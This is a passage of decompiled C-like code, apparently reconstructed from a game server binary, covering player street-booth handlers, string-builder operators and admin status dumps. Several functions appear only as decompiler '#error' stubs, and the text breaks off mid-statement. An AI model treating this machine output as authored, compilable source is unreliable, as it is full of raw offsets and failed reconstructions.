esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S6_70 & 1) ) { _S6_70 |= 1u; stru_124F2F7C.cmc_AllowMode = 32; atexit(_E7_55); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_124F2F7C.cmc_AllowMode ) ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(v4); else (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 5, 2628); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_CMD"); } //----- (005214C0) -------------------------------------------------------- #error "5214C0: undefined or illegal type '#325' (funcsize=124)" //----- (005216A0) -------------------------------------------------------- #error "5216A0: undefined or illegal type '#325' (funcsize=99)" //----- (00521820) -------------------------------------------------------- #error "521820: undefined or illegal type '#325' (funcsize=106)" //----- (005219A0) -------------------------------------------------------- #error "5219A0: undefined or illegal type '#325' (funcsize=92)" //----- (00521AE0) -------------------------------------------------------- #error "521AE0: undefined or illegal type '#325' (funcsize=160)" //----- (00521D10) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, const char *str) { StringMaker::Maker *v2; // esi@1 const char *v3; // edx@1 unsigned int v4; // eax@1 int v5; // ecx@1 int v6; // edi@2 char v7; // cl@3 int v8; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(char *str)"); v3 = str; funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(char *str)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = strlen(str); v5 = v2->m_Pointer; if ( v5 + v4 + 1 < 0x400 ) { v6 = (int)((char *)v2 + v5); do { v7 = *v3++; *(_BYTE *)v6++ = v7; } while ( v7 ); v8 = v4 + v2->m_Pointer; v2->m_Pointer = v8; v2->m_Buffer[v8] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char *str)"); return v2; } //----- (00521DB0) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, char chr) { StringMaker::Maker *v2; // esi@1 int v3; // eax@1 int v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char chr)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(char chr)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->m_Pointer; if ( (unsigned int)(v3 + 2) < 0x400 ) { v2->m_Buffer[v3] = chr; v4 = v2->m_Pointer + 1; v2->m_Pointer = v4; v2->m_Buffer[v4] = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(char chr)"); return v2; } //----- (00521E30) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, int num) { StringMaker::Maker *v2; // esi@1 StringMaker::Maker *result; // eax@1 char buffer[32]; // [sp+4h] [bp-30h]@1 unsigned int v5; // [sp+24h] [bp-10h]@1 int v6; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "StringMaker::Maker::operator <<(int num)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(int num)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; sprintf(buffer, "%d"); StringMaker::Maker::operator<<(v2, buffer); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(int num)"); __security_check_cookie(v5); return result; } //----- (00521F00) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, Name3 *id) { StringMaker::Maker *v2; // esi@1 unsigned int v3; // eax@1 char *v4; // eax@1 StringMaker::Maker *v5; // eax@1 StringMaker::Maker *v6; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(Name3 *id)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(Name3 *id)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&id->n3_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&id->n3_name[8]; v4[12] = 0; v5 = StringMaker::Maker::operator<<(v2, v4); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "StringMaker::Maker::operator <<(Name3 *id)"); return v6; } //----- (00521FD0) -------------------------------------------------------- StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, ItemInventoryCell *iic) { StringMaker::Maker *v2; // esi@1 StringMaker::Maker *v3; // eax@1 StringMaker::Maker *v4; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = StringMaker::Maker::operator<<(v2, iic->iic_Item.iti_itemstruct.itemid); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "StringMaker::Maker::operator <<(ItemInventoryCell *iic)"); return v4; } //----- (00522080) -------------------------------------------------------- #error "522080: undefined or illegal type '#434' (funcsize=34)" //----- (00522120) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_SendInform2Admin(int a1) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_SendInform2Admin"); } //----- (00522170) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_SendInform2Admin(void *this, int a2, int fin) { void *v3; // esi@1 int v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 const char *v7; // ST10_4@1 StringMaker::Maker *v8; // eax@1 StringMaker::Maker *v9; // eax@1 int v10; // ST10_4@1 StringMaker::Maker *v11; // eax@1 StringMaker::Maker *v12; // eax@1 int v13; // ST10_4@1 StringMaker::Maker *v14; // eax@1 StringMaker::Maker *v15; // eax@1 Name3 *v16; // eax@1 int v17; // ecx@3 int v18; // ST10_4@3 int v19; // ST08_4@3 StringMaker::Maker *v20; // eax@3 StringMaker::Maker *v21; // eax@3 StringMaker::Maker *v22; // eax@3 StringMaker::Maker *v23; // eax@3 StringMaker::Maker *v24; // eax@3 int v25; // ST10_4@4 int v26; // ST08_4@4 StringMaker::Maker *v27; // eax@4 StringMaker::Maker *v28; // eax@4 StringMaker::Maker *v29; // eax@4 StringMaker::Maker *v30; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1352))(v3); v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)v4; *((_DWORD *)v6 + 1) = *(_DWORD *)(v4 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v4 + 8); v7 = v6; *((_DWORD *)v6 + 3) = *(_DWORD *)(v4 + 12); v6[16] = 0; maker.m_Pointer = 0; v8 = StringMaker::Maker::operator<<(&maker, "Name : "); v9 = StringMaker::Maker::operator<<(v8, v7); StringMaker::Maker::operator<<(v9, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; v10 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1220))(v3); v11 = StringMaker::Maker::operator<<(&maker, "Level : "); v12 = StringMaker::Maker::operator<<(v11, v10); StringMaker::Maker::operator<<(v12, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; v13 = (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1136))(v3); v14 = StringMaker::Maker::operator<<(&maker, "Mode : "); v15 = StringMaker::Maker::operator<<(v14, v13); StringMaker::Maker::operator<<(v15, (StringMaker::Finisher *)&a2); maker.m_Pointer = 0; StringMaker::Maker::operator<<(&maker, "Location : "); v16 = *(Name3 **)((char *)v3 + 98); if ( v16 ) { v17 = *(_DWORD *)((char *)v3 + 78); v18 = *(_DWORD *)(v17 + 4); v19 = *(_DWORD *)v17; v20 = StringMaker::Maker::operator<<(&maker, v16); v21 = StringMaker::Maker::operator<<(v20, 47); v22 = StringMaker::Maker::operator<<(v21, v19); v23 = StringMaker::Maker::operator<<(v22, 47); v24 = StringMaker::Maker::operator<<(v23, v18); StringMaker::Maker::operator<<(v24, (StringMaker::Finisher *)&a2); } else { StringMaker::Maker::operator<<(&maker, "Null"); } maker.m_Pointer = 0; v25 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1244))(v3); v26 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1236))(v3); v27 = StringMaker::Maker::operator<<(&maker, "HP : "); v28 = StringMaker::Maker::operator<<(v27, v26); v29 = StringMaker::Maker::operator<<(v28, 47); v30 = StringMaker::Maker::operator<<(v29, v25); StringMaker::Maker::operator<<(v30, (StringMaker::Finisher *)&a2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_SendInform2Admin"); } //----- (005223A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_SendInform2Admin(void *this, int a2, int fin) { void *v3; // esi@1 void *v4; // edi@1 ItemInventoryCell *v5; // ST08_4@1 StringMaker::Maker *v6; // eax@1 StringMaker::Maker *v7; // eax@1 StringMaker::Finisher *v8; // ST0C_4@1 int v9; // eax@1 StringMaker::Maker *v10; // eax@2 int *v11; // eax@3 int v12; // ST08_4@7 StringMaker::Maker *v13; // eax@7 StringMaker::Maker *v14; // eax@7 int v15; // ST0C_4@9 StringMaker::Maker *v16; // eax@9 StringMaker::Maker *v17; // eax@12 StringMaker::Maker *v18; // eax@12 StringMaker::Maker *v19; // eax@12 const char *v20; // ST04_4@12 StringMaker::Maker *v21; // eax@12 StringMaker::Maker *v22; // eax@12 StringMaker::Maker *v23; // eax@12 const char *v24; // ST04_4@13 StringMaker::Maker *v25; // eax@13 StringMaker::Maker *v26; // eax@13 StringMaker::Maker *v27; // eax@13 int v28; // ST08_4@15 StringMaker::Maker *v29; // eax@15 StringMaker::Maker *v30; // eax@15 const char *v31; // [sp-14h] [bp-28h]@10 char v32; // [sp-10h] [bp-24h]@10 StringMaker::Finisher *v33; // [sp-Ch] [bp-20h]@2 StringMaker::Finisher *v34; // [sp-Ch] [bp-20h]@10 int v35; // [sp-8h] [bp-1Ch]@0 void *v36; // [sp+14h] [bp+0h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (void *)a2; ShineObjectClass::ShineMobileObject::so_SendInform2Admin(v3, a2, v35); maker.m_Pointer = 0; v36 = v4; v5 = (ItemInventoryCell *)(*(int (__stdcall **)(_DWORD, void **))*((int (__stdcall ***)(_DWORD, _DWORD))v3 + 13207))( 0, &v36); v6 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Inven) : "); v7 = StringMaker::Maker::operator<<(v6, v5); StringMaker::Maker::operator<<(v7, v8); maker.m_Pointer = 0; StringMaker::Maker::operator<<(&maker, "MiniHouse(SkinHandle) : "); v9 = *((_DWORD *)v3 + 22268); if ( v9 ) { v11 = *(int **)(v9 + 4); if ( v11 ) { v33 = (StringMaker::Finisher *)&a2; v10 = StringMaker::Maker::operator<<(&maker, *(_WORD *)v11); } else { v33 = (StringMaker::Finisher *)&a2; v10 = StringMaker::Maker::operator<<(&maker, "NULL Data"); } } else { v33 = (StringMaker::Finisher *)&a2; v10 = StringMaker::Maker::operator<<(&maker, "NULL handle"); } StringMaker::Maker::operator<<(v10, v33); if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1136))(v3) == 4 ) { maker.m_Pointer = 0; v12 = *(_WORD *)(*(_DWORD *)((char *)v3 + 32010) + 29); v13 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Brief:Camp) : "); v14 = StringMaker::Maker::operator<<(v13, v12); StringMaker::Maker::operator<<(v14, (StringMaker::Finisher *)&a2); } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1136))(v3) == 5 ) { maker.m_Pointer = 0; v15 = *(_WORD *)(*(_DWORD *)((char *)v3 + 32010) + 29); v16 = StringMaker::Maker::operator<<(&maker, "MiniHouse(Brief:Booth) : "); StringMaker::Maker::operator<<(v16, v15); if ( *((_DWORD *)v3 + 22293) ) { v34 = (StringMaker::Finisher *)&a2; v32 = 93; v31 = (const char *)(***((int (****)(void))v3 + 22293))(); } else { v34 = (StringMaker::Finisher *)&a2; v32 = 93; v31 = "NULL"; } v17 = StringMaker::Maker::operator<<(&maker, 91); v18 = StringMaker::Maker::operator<<(v17, v31); v19 = StringMaker::Maker::operator<<(v18, v32); StringMaker::Maker::operator<<(v19, v34); maker.m_Pointer = 0; v20 = (const char *)(*(_DWORD *)((char *)v3 + 32010) + 42); v21 = StringMaker::Maker::operator<<(&maker, " ["); v22 = StringMaker::Maker::operator<<(v21, v20); v23 = StringMaker::Maker::operator<<(v22, 93); StringMaker::Maker::operator<<(v23, (StringMaker::Finisher *)&a2); if ( *((_DWORD *)v3 + 22293) ) { maker.m_Pointer = 0; v24 = (const char *)(*((_DWORD *)v3 + 22293) + 4); v25 = StringMaker::Maker::operator<<(&maker, " ["); v26 = StringMaker::Maker::operator<<(v25, v24); v27 = StringMaker::Maker::operator<<(v26, 93); StringMaker::Maker::operator<<(v27, (StringMaker::Finisher *)&a2); } } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1136))(v3) == 6 ) { maker.m_Pointer = 0; v28 = *(_WORD *)(*(_DWORD *)((char *)v3 + 32010) + 76); v29 = StringMaker::Maker::operator<<(&maker, "Riding(Brief:Camp) : "); v30 = StringMaker::Maker::operator<<(v29, v28); StringMaker::Maker::operator<<(v30, (StringMaker::Finisher *)&a2); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_SendInform2Admin"); } //----- (00522670) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_SendInform2Admin(void *this, int a2) { void *v2; // esi@1 int v3; // [sp-4h] [bp-14h]@0 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SendInform2Admin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_SendInform2Admin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ShineObjectClass::ShineMobileObject::so_SendInform2Admin(v2, a2, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SendInform2Admin"); } //----- (00522710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // edi@6 int v6; // eax@6 int v7; // edi@6 const char *v8; // eax@6 char *v9; // edi@6 const char *v10; // eax@6 int v11; // ST04_4@6 int v12; // eax@6 char *v13; // [sp+14h] [bp-2Ch]@5 AxialListPacketBroadcast alchat; // [sp+28h] [bp-18h]@6 int v15; // [sp+3Ch] [bp-4h]@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; if ( !(_S20_5 & 1) ) { _S20_5 |= 1u; stru_124F2F9C.cmc_AllowMode = 32; atexit(_E21_6); } if ( (1 << **((_BYTE **)v4 + 929)) & stru_124F2F9C.cmc_AllowMode && !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { v5 = **((_DWORD **)v4 + 22293); v6 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(_DWORD, int))(v5 + 12))(*((_DWORD *)v4 + 22293), v6); v7 = *(_DWORD *)((char *)v4 + 32010); *((_DWORD *)v4 + 22293) = &ShineObjectClass::ShinePlayer::BoothSell::board; v8 = ShineScript::ss_String(&shinescriptetc, "BoothInterior"); strncpy((char *)(v7 + 42), v8, 0x1Du); v9 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26642; *((_WORD *)v9 + 1) = *((_WORD *)v4 + 2); v10 = ShineScript::ss_String(&shinescriptetc, "BoothInterior"); strncpy(v9 + 4, v10, 0x1Du); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 34); v11 = *(_DWORD *)((char *)v4 + 78); LOBYTE(v15) = 1; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 0, 0, (int)&alchat, 1, 65535); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 26, 17); LOBYTE(v15) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v13 = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"; } else { v13 = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_INTERIORSTART_REQ"; } --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v13); } //----- (005228D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ(void *this, int netcmd, int i, __int16 handle) { void *v4; // ebp@1 int v5; // eax@5 unsigned int v6; // esi@9 int v7; // eax@9 int v8; // ebx@9 int v9; // esi@9 int v10; // eax@11 int v11; // ST30_4@11 int v12; // eax@11 char v13; // al@13 int v14; // edi@15 int v15; // esi@15 int v16; // eax@16 int v17; // eax@16 ItemDataBox::ItemDataBoxIndex *v18; // eax@16 unsigned int v19; // ecx@18 int v20; // edi@19 int v21; // edx@20 int v22; // eax@20 unsigned int v23; // ecx@23 unsigned int v24; // edx@25 bool v25; // sf@25 unsigned __int8 v26; // of@25 bool v27; // zf@26 int v28; // edx@28 int v29; // eax@28 unsigned __int16 v30; // dx@28 unsigned int v31; // ecx@28 int v32; // ecx@29 int v33; // ecx@32 unsigned int v34; // ecx@35 int v35; // eax@38 int v36; // edx@41 int v37; // eax@43 int v38; // esi@45 int v39; // eax@45 int v40; // ecx@45 int v41; // edi@46 int v42; // ecx@47 int v43; // edx@48 int v44; // esi@48 ItemDataBox::ItemDataBoxIndex *v45; // eax@49 ItemInfo *v46; // eax@50 void *v47; // eax@52 int v48; // edx@52 int v49; // eax@52 int v50; // ecx@52 const void *v51; // esi@53 int v52; // esi@54 const void *v53; // eax@55 int v54; // ebx@55 const void *v55; // esi@55 int v56; // edx@56 int v57; // esi@56 int v58; // eax@56 int v59; // ecx@56 void *v60; // ebp@56 int v61; // edx@59 int v62; // esi@59 int v63; // eax@60 int v64; // eax@61 int v65; // ecx@61 int v66; // eax@62 int v67; // edx@62 char *v68; // eax@62 const void *v69; // edx@62 int v70; // edx@62 int v71; // eax@62 int v72; // eax@62 int v73; // edx@62 int v74; // [sp+3Ch] [bp-58h]@11 int v75; // [sp+40h] [bp-54h]@11 int v76; // [sp+44h] [bp-50h]@11 int v77; // [sp+48h] [bp-4Ch]@11 int v78; // [sp+4Ch] [bp-48h]@11 signed int v79; // [sp+50h] [bp-44h]@4 FunctionEntarance _; // [sp+64h] [bp-30h]@1 int v81; // [sp+68h] [bp-2Ch]@15 int m; // [sp+6Ch] [bp-28h]@18 int k; // [sp+70h] [bp-24h]@14 const void *boothopen; // [sp+74h] [bp-20h]@9 void *iick; // [sp+78h] [bp-1Ch]@16 AxialListPacketBroadcast alchat; // [sp+7Ch] [bp-18h]@52 int v87; // [sp+90h] [bp-4h]@1 signed int netcmda; // [sp+98h] [bp+4h]@15 int netcmdb; // [sp+98h] [bp+4h]@27 signed int netcmdc; // [sp+98h] [bp+4h]@45 int netcmdd; // [sp+98h] [bp+4h]@53 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v87 = 0; if ( !(_S4_22 & 1) ) { _S4_22 |= 1u; stru_124F2FA4.cmc_AllowMode = 38; atexit(_E5_70); } if ( !((1 << **((_BYTE **)v4 + 929)) & stru_124F2FA4.cmc_AllowMode) ) { v79 = 2626; LABEL_64: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, v79); goto LABEL_65; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 162) ) { v79 = 2645; goto LABEL_64; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2164))(v4); v6 = *(_BYTE *)(netcmd + 32); v7 = *(_DWORD *)v4; v8 = netcmd + 2; boothopen = (const void *)(netcmd + 2); v9 = v6 >> 1; if ( (signed int)((unsigned int)*(_BYTE *)(netcmd + 32) >> 1) >= (*(int (__thiscall **)(void *))(v7 + 1144))(v4) ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ : Too many items", v9); (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, 2627); v87 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v79 = 65535; v78 = 0; v74 = (int)ShineObjectClass::ShineObject::so_TentPoint; v10 = *(_DWORD *)((char *)v4 + 78); v75 = 0; v76 = 0; v11 = v10; v77 = 0; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, 400, 0, v74, v75, v76, v77, v78, v79) ) { v13 = *(_BYTE *)(netcmd + 32); if ( v13 & 1 || (k = 0, !(v13 & 0xFE)) ) { LABEL_26: v27 = (*(_BYTE *)(v8 + 30) & 0xFE) == 0; k = 0; if ( v27 ) { LABEL_36: (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2528))(v4); if ( *(_BYTE *)(v8 + 30) & 1 ) *((_DWORD *)v4 + 22293) = (char *)v4 + 89176; else *((_DWORD *)v4 + 22293) = (char *)v4 + 89544; (*(void (**)(void))(**((_DWORD **)v4 + 22293) + 16))(); v38 = **((_DWORD **)v4 + 22293); v39 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v40 = *((_DWORD *)v4 + 22293); v79 = v39; (*(void (__thiscall **)(int, int))(v38 + 8))(v40, v39); netcmdc = 0; if ( *(_BYTE *)(v8 + 30) & 0xFE ) { v41 = v8 + 31; while ( 1 ) { v42 = *(_BYTE *)v41; v27 = *(_BYTE *)v41 >= 0x90u; iick = (void *)(*(_BYTE *)v41 < 0x90u); if ( v27 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ : Invalid slot", v42); v61 = *(_DWORD *)v4; v79 = 2627; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v61 + 776))(v4, 26, 2, 2627); v62 = **((_DWORD **)v4 + 22293); goto LABEL_61; } v43 = *((_DWORD *)v4 + 8884); v79 = *(_BYTE *)v41; v44 = (*(int (__thiscall **)(char *, signed int))v43)((char *)v4 + 35536, v79); if ( !v44 ) break; v79 = *(_WORD *)(v44 + 8); v45 = ItemDataBox::operator__(&itemdatabox, v79); if ( !v45 ) break; v46 = v45->data; if ( v46->Belonged ) break; if ( v46->NoTrade ) break; v47 = (void *)**((_DWORD **)v4 + 22293); v48 = *(_DWORD *)v4; v79 = (signed int)v4; v78 = v41; v77 = v44; iick = v47; v49 = (*(int (__thiscall **)(void *, int, int, void *))(v48 + 1916))(v4, v44, v41, v4); v50 = *((_DWORD *)v4 + 22293); v79 = v49; (*(void (__thiscall **)(int, int))(alchat.alpb_packetlength + 20))(v50, v49); v41 += 12; ++netcmdc; if ( netcmdc >= (signed int)((unsigned int)*(_BYTE *)(v8 + 30) >> 1) ) goto LABEL_53; } v63 = *(_DWORD *)v4; v79 = 2628; v78 = 2; v77 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v63 + 776))(v4, 26, 2, 2628); v62 = **((_DWORD **)v4 + 22293); LABEL_61: v64 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v65 = *((_DWORD *)v4 + 22293); v79 = v64; (*(void (__thiscall **)(int, int))(v62 + 12))(v65, v64); v87 = -1; v79 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { LABEL_53: memcpy((void *)(*((_DWORD *)v4 + 22293) + 4), (const void *)v8, 0x1Eu); *(_WORD *)(*((_DWORD *)v4 + 22293) + 36) = *((_WORD *)v4 + 2); v51 = (const void *)(*(_DWORD *)((char *)v4 + 32010) + 29); netcmdd = (int)((char *)v4 + 89024); if ( !*((_BYTE *)v4 + 89071) ) { memcpy((char *)v4 + 89024, v51, 0x2Cu); v52 = (int)((char *)v51 + 44); *((_WORD *)v4 + 44534) = *(_WORD *)v52; *((_BYTE *)v4 + 89070) = *(_BYTE *)(v52 + 2); *((_BYTE *)v4 + 89071) = 1; } v53 = boothopen; v54 = *(_DWORD *)((char *)v4 + 32010) + 29; v55 = boothopen; memcpy((void *)(*(_DWORD *)((char *)v4 + 32010) + 42), boothopen, 0x1Cu); *(_WORD *)(v54 + 41) = *((_WORD *)v55 + 14); LOBYTE(v53) = *((_BYTE *)v53 + 30) & 1; v79 = v54; *(_BYTE *)(v54 + 12) = (_BYTE)v53; if ( ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(v4, v79) ) { v66 = *((_DWORD *)v4 + 929); v79 = 2625; v78 = 2; *(_BYTE *)v66 = 5; v67 = *(_DWORD *)v4; v77 = 26; (*(void (__thiscall **)(void *, signed int, int, signed int))(v67 + 776))(v4, 26, v78, v79); v68 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26627; v69 = boothopen; *((_WORD *)v68 + 1) = *((_WORD *)v4 + 2); memcpy(v68 + 17, (const void *)(*((_DWORD *)v4 + 22293) + 4), 0x1Eu); v68[16] = *((_BYTE *)v69 + 30) & 1; v68 += 4; *(_DWORD *)v68 = *(_DWORD *)v54; *((_DWORD *)v68 + 1) = *(_DWORD *)(v54 + 4); v70 = *(_DWORD *)(v54 + 8); v79 = 47; v78 = (int)&gpp; *((_DWORD *)v68 + 2) = v70; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, (ProtocolPacket *)v78, v79); v71 = 